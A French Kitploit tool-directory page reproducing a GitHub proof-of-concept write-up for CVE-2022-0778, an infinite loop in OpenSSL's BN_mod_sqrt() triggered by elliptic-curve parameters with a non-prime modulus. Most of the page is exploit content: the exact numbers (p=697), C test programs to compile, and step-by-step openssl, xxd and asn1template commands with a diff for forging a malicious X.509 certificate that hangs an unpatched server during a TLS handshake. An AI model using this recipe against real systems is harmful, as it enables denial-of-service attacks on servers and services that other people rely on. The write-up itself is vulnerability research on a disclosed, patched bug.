Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-0778 — Preuve de concept d'exploitation pour CVE-2022-0778, démontrant une boucle infinie dans BN_mod_sqrt d'OpenSSL via un certificat X.509 conçu avec des paramètres de courbe non premiers, permettant des attaques par déni de service. | Kitploit
Outils/GitHubGitHub/drago-96/cve-2022-0778
Analyse des VulnérabilitésExploitationCryptographieAnalyse de BinairesArticles et RechercheApprentissage et Éducation
GitHubdrago-96/cve-2022-0778

CVE-2022-0778

Preuve de concept d'exploitation pour CVE-2022-0778, démontrant une boucle infinie dans BN_mod_sqrt d'OpenSSL via un certificat X.509 conçu avec des paramètres de courbe non premiers, permettant des attaques par déni de service.

Voir le dépôt
181463il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-0778

La vulnérabilité découverte déclenche une boucle infinie dans la fonction BN_mod_sqrt() d'OpenSSL lors de l'analyse d'une clé de courbe elliptique. Cela signifie qu'un certificat X.509 malveillant peut provoquer un déni de service sur tout serveur non corrigé.

Le cœur de la vulnérabilité se situe dans l'analyse des clés EC dont les points sont au format compressé : lors de l'analyse de ce type de clés, OpenSSL tente de décompresser le point compressé, en essayant de calculer une racine carrée modulo le nombre premier p sur lequel la courbe est définie. Cependant, la primalité de p n'est vérifiée nulle part, pas même dans BN_mod_sqrt() pour laquelle c'est pourtant une exigence ; ainsi, un bogue dans l'implémentation provoque une boucle infinie parce que p n'est pas premier comme attendu.

Une explication en chinois est disponible sur mon blog OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造

Crédits

  • Tavis Ormandy pour avoir découvert et divulgué la vulnérabilité
  • Drago pour avoir publié le test contre
BN_mod_sqrt()
  • catbro666 pour avoir réellement fabriqué un certificat X.509 qui fait se bloquer le serveur
  • wllm-rbnt pour l'outil utile asn1template
  • Comment tester

    Le prérequis est d'avoir installé gcc et une version vulnérable d'OpenSSL.

    Pour le bogue dans BN_mod_sqrt() : compilez avec gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto, exécutez ./my_bad_sqrt et regardez-le se bloquer pour toujours ! :D

    Avec un certificat : exécutez openssl x509 -in certs/cert.der.new -inform DER -text -noout en ligne de commande ; cela se bloque également.

    Déclencher la boucle

    La fonction BN_mod_sqrt() implémente l'algorithme de Tonelli-Shanks pour trouver une racine carrée modulaire, c'est-à-dire que, étant donné un entier a et un nombre premier p, elle retourne une valeur r telle que r^2 == a (mod p).

    En analysant le commit qui corrige la vulnérabilité, on voit que le coupable est la boucle qui trouve le plus petit indice i tel que b^(2^i)==1 (mod p), où b est défini plus haut dans l'algorithme.

    La boucle passe de

    root@kitploit:~
    i = 1;
    if (!BN_mod_sqr(t, b, p, ctx))
        goto end;
    while (!BN_is_one(t)) {
        i++;
        if (i == e) {
            ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
            goto end;
        }
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    

    à

    root@kitploit:~
    for (i = 1; i < e; i++) {
        if (i == 1) {
            if (!BN_mod_sqr(t, b, p, ctx))
                goto end;
        } else {
            if (!BN_mod_mul(t, t, t, p, ctx))
                goto end;
        }
        if (BN_is_one(t))
            break;
    }
    

    Dans le second cas, il y a une boucle for limitée par la variable e ; dans le code d'origine, il n'y a cependant qu'une vérification du cas i==e à l'intérieur d'une boucle while.

    Comme ces boucles sont à l'intérieur d'une boucle plus grande qui, à chaque itération, définit la nouvelle valeur de e comme étant la valeur courante de i, nous essayons la stratégie d'attaque suivante :

    1. lors de la première exécution de la boucle externe, faites en sorte que i=1 à la fin ; pour cela, nous avons besoin que b^2=1 (mod p).
    2. de cette façon, lors de la seconde exécution nous aurons e=1, et si nous pouvons entrer dans la boucle interne, la vérification i==e échouera toujours
    3. si nous parvenons à avoir toujours t != 1 (mod p), nous resterons alors dans la boucle pour toujours

    Notez que les deux premières étapes peuvent en réalité se produire lors d'une exécution « normale », c'est-à-dire avec un nombre premier p. Cependant, si p est composé, nous pouvons également satisfaire la troisième étape !

    Un peu de mathématiques

    L'algorithme de Tonelli-Shanks fonctionne en écrivant p - 1 = 2^e * q, avec q impair. C'est aussi l'ordre du groupe multiplicatif des entiers modulo p, et les valeurs e et q seront utilisées de nombreuses fois pendant l'exécution ; cependant, si p n'est pas premier, l'ordre du groupe multiplicatif ne sera pas p-1, ce qui nous aidera à entrer dans la boucle infinie.

    En particulier, b est initialisé comme b = a^q (mod p), ce qui signifie que si p était premier, alors b aurait pour ordre une puissance de 2, que nous trouverons ensuite en utilisant la boucle.

    Mais si nous posons p = r * s, l'ordre du groupe multiplicatif est (r-1)*(s-1) = r*s - r - s + 1 au lieu de r*s-1. L'algorithme utilise la valeur q pour obtenir un élément y d'ordre exactement 2^e ; cependant, lorsque p n'est pas premier, la valeur q n'aura pas de signification particulière pour l'ordre, donc l'élément y n'aura pas un ordre qui soit une puissance de deux modulo p=r*s.

    Comme à la fin de la première boucle externe b est défini comme b = b*y^(e-i) (mod p), à sa seconde itération la boucle interne essaiera de trouver une valeur i telle que b^(2^i) == 1 (mod p), mais échouera étant donné que y n'est plus garanti d'avoir un ordre qui soit une puissance de deux.

    L'exploit

    Les nombres dans l'exploit sont très simples : nous prenons r=17,s=41, ce qui donne p=r*s=697. Cela signifie que les valeurs calculées de e et q seront p-1 = 2^3 * 87.

    Nous choisissons ensuite a=696, ce qui signifie que a == -1 (mod p) et aussi b == -1 (mod p) lors de l'initialisation. Cela satisfera l'étape 1 en définissant e=1 pour la boucle externe suivante.

    Ensuite, b sera défini comme un élément dont l'ordre n'est pas une puissance de 2, et la boucle interne restera bloquée à essayer de trouver un i tel que b^(2^i)==1 (mod p).

    Créer un certificat dangereux

    OK, maintenant fabriquons un certificat dangereux qui contient des paramètres de courbe explicites invalides avec un point de base encodé sous forme compressée.

    Les fichiers de cette section se trouvent dans le dossier certs.

    Créer un certificat normal avec des paramètres de courbe explicites

    Tout d'abord, nous devons créer une clé privée EC. Comme nous voulons un certificat cible avec des paramètres de courbe explicites, la clé doit également contenir des paramètres de courbe explicites.

    root@kitploit:~
    $ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
    

    Ensuite, pour plus de commodité, nous avons auto-signé un certificat et l'avons sorti au format DER.

    root@kitploit:~
    $ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
    

    Vérifions les informations du certificat. Il contient des paramètres de courbe explicites comme prévu.

    root@kitploit:~
    $ openssl x509 -in cert.der -text -noout -inform DER
    ...
                    Field Type: prime-field
                    Prime:
                        00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                        00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                        ff:ff:ff
                    A:
                        00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                        00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                        ff:ff:fc
                    B:
                        5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                        bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                        60:4b
                    Generator (compressed):
                        03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                        40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                        98:c2:96
                    Order:
                        00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                        ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                        63:25:51
    ...
    

    Fabriquer un certificat invalide

    Maintenant, nous devons modifier les valeurs de ces paramètres : Prime, A, B, Generator. Ils satisfont l'équation ci-dessous

    où p est le Prime, a est le paramètre A et b est le paramètre B. p, a, b déterminent ensemble une courbe. Décompresser un point signifie calculer la coordonnée Y à partir de la coordonnée X correspondante.

    Évidemment, l'opération de racine carrée modulaire doit être utilisée, ce qui fera appel à BN_mod_sqrt().

    Sur la base des travaux de drago-96, nous prenons p=697, x^3+ax+b=696. Ensuite, il suffit de choisir des valeurs appropriées pour a, b, x qui satisfont la seconde équation. Nous prenons x=8, a=23, b=0 ici.

    OK, nous pouvons maintenant commencer à nous attaquer au certificat. Éditer la structure ASN.1 manuellement est vraiment pénible. J'ai utilisé l'outil xxd pour transformer le certificat au format hexadécimal, puis je l'ai édité avec vim. Une fois l'édition terminée, je l'ai retransformé avec xxd -r.

    root@kitploit:~
    $ cp cert.der cert.der.old
    $ xxd cert.der cert.der.hex
    $ cp cert.der.hex cert.der.hex.old
    $ vim cert.der.hex
    # edit cert.der.hex
    # ...
    # complete
    $ xxd -r cert.der.hex cert.der.new
    

    Je n'ai pas trouvé d'outil plus pratique. Si quelqu'un connaît un tel outil, merci d'être généreux dans vos commentaires.

    Les étapes de fabrication sont approximativement les suivantes :

    1. Modifier les valeurs de Prime, A, B, Generator
      1. Changer Prime en 697, c'est-à-dire 0x2b9 en hexadécimal
      2. Changer A en 23, c'est-à-dire 0x17 en hexadécimal
      3. Changer B en 0
      4. Changer la coordonnée X de Generator en 8, c'est-à-dire 0x020008 (ou 0x030008) lorsqu'elle est encodée au format compressé
    2. Comme OpenSSL vérifie le format de remplissage de ASN1_INTEGER, le Prime ne doit pas contenir d'octets zéro en tête, donc nous devons changer la longueur de Prime.
    3. De même, OpenSSL compare la longueur de Prime avec la longueur de la chaîne du point, donc la longueur de la coordonnée X de Generator doit être identique à celle de Prime. C'est pourquoi nous définissons Generator comme 030008 et non comme 0308.
    4. Parce que la structure ASN.1 du certificat est imbriquée, toutes les longueurs des objets externes doivent également être corrigées.
    5. Notez qu'il peut y avoir un caractère de nouvelle ligne (0x0a) indésirable à la fin du fichier après avoir exécuté xxd -r. Éliminez-le.

    Maintenant, regardons la structure ASN.1 du certificat normal. Les parties marquées par une ligne rouge doivent être modifiées.

    root@kitploit:~
    $ openssl asn1parse -in cert.der -inform DER -i
    

    asn1-structure-of-x509-before

    Les longueurs avant et après modification sont listées comme suit :

    de (déc)de (hex)à (déc)à (hex)
    5492254881e8
    4601cc39918f
    26610a205cd
    227e3166a6
    215d71549a
    442c130d
    33 Prime21202
    33 Generator21303

    Utilisation des modèles ASN1

    Mis à jour le 2020-03-21 :

    Une manière beaucoup plus simple est d'utiliser l'outil asn1template écrit par wllm-rbnt.

    Clonez le dépôt :

    root@kitploit:~
    $ git clone https://github.com/wllm-rbnt/asn1template.git
    

    Générez un modèle DER à partir de ce certificat :

    root@kitploit:~
    $ ./asn1template/asn1template.pl cert.der > cert.tpl
    

    Ensuite, modifiez les paramètres que nous venons de mentionner ci-dessus :

    root@kitploit:~
    diff cert.tpl cert_new.tpl
    46c46
    < field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
    ---
    > field32 = FORMAT:HEX,OCTETSTRING:030008
    51c51
    < field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
    ---
    > field36 = INTEGER:0x2B9
    53,54c53,54
    < field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
    < field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
    ---
    > field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
    > field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
    

    Convertissez-le à nouveau en ASN1 encodé DER avec ASN1_generate_nconf(3) :

    root@kitploit:~
    $ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
    

    Le résultat cert_new.der est équivalent à la version éditée manuellement.

    Nous avons donc maintenant fabriqué avec succès un certificat invalide. Regardons la nouvelle structure ASN.1

    root@kitploit:~
    $ openssl asn1parse -in cert.der.new -inform DER -i
    

    asn1-structure-of-x509-after

    Toutes les parties rouges ont été modifiées, et le certificat peut être correctement décodé en DER.

    Test avec le certificat invalide

    Maintenant, essayons d'analyser le certificat. Le processus entrera dans la boucle infinie si tout se passe comme prévu.

    root@kitploit:~
    openssl x509 -in cert.der.new -inform DER -text -noout
    

    infinite-loop-when-parsing-invalid-cert

    Comme on le voit, le %CPU du processus openssl est de 100, et la pile d'appels se trouve dans BN_mod_sqrt().

    Si un attaquant malveillant envoie un tel certificat fabriqué lors d'une poignée de main SSL avec le serveur, le serveur entrera dans la boucle infinie, ce qui provoque une attaque par déni de service.

    Créer un certificat, méthode alternative

    Nous allons essayer de fabriquer un certificat en utilisant la bibliothèque C libcrypto d'OpenSSL.

    Comme nous l'avons vu, nous devons utiliser une courbe avec un corps de base non premier et encoder les points sous forme compressée, afin de rencontrer le bogue dans BN_mod_sqrt() lors de l'analyse.

    Cela peut être fait en définissant y^2 = x^3 + 1*x + 694 (mod 697) comme courbe, avec (1, 132) comme générateur ; cela appellera BN_mod_sqrt() avec exactement les mêmes paramètres que my_bad_sqrt.

    L'exécution de gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group générera le fichier my_bad_group.der qui contient les paramètres EC au format DER.

    Essayer d'analyser ces paramètres avec OpenSSL aboutira à la boucle infinie : openssl ecparam -in my_bad_group.der -inform der.

    ... WIP ...

    Télécharger l’outil